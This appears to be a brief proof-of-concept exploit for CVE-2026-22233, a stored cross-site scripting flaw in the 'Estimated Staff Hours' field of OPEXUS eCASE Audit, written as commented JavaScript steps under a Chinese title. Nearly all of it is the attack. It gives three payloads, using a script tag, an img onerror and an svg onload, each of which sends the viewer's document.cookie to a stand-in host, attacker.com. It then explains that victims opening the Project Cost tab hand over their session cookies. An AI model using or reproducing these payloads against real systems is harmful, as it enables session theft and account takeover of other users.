CVE-2026-22233 OPEXUS eCASE Audit存储型XSS漏洞

// CVE-2026-22233 PoC - Stored XSS in OPEXUS eCASE Audit // Affected Field: Estimated Staff Hours // Trigger: When other users visit Project Cost tab // Step 1: Login to OPEXUS eCASE Audit with low-privilege account const loginPayload = { username: 'attacker_account', password: 'password123' }; // Step 2: Navigate to the form with Estimated Staff Hours field // This typically involves accessing a project/cost entry form // Step 3: Inject XSS payload in Estimated Staff Hours field const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Alternative payload examples: // <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> // <svg/onload=fetch('https://attacker.com/steal?c='+document.cookie)> // Step 4: Save the form - payload is stored in database const savePayload = { estimatedStaffHours: xssPayload, // other form fields... }; // Step 5: When victim visits Project Cost tab, XSS executes automatically // Attacker receives victim's session cookie at their server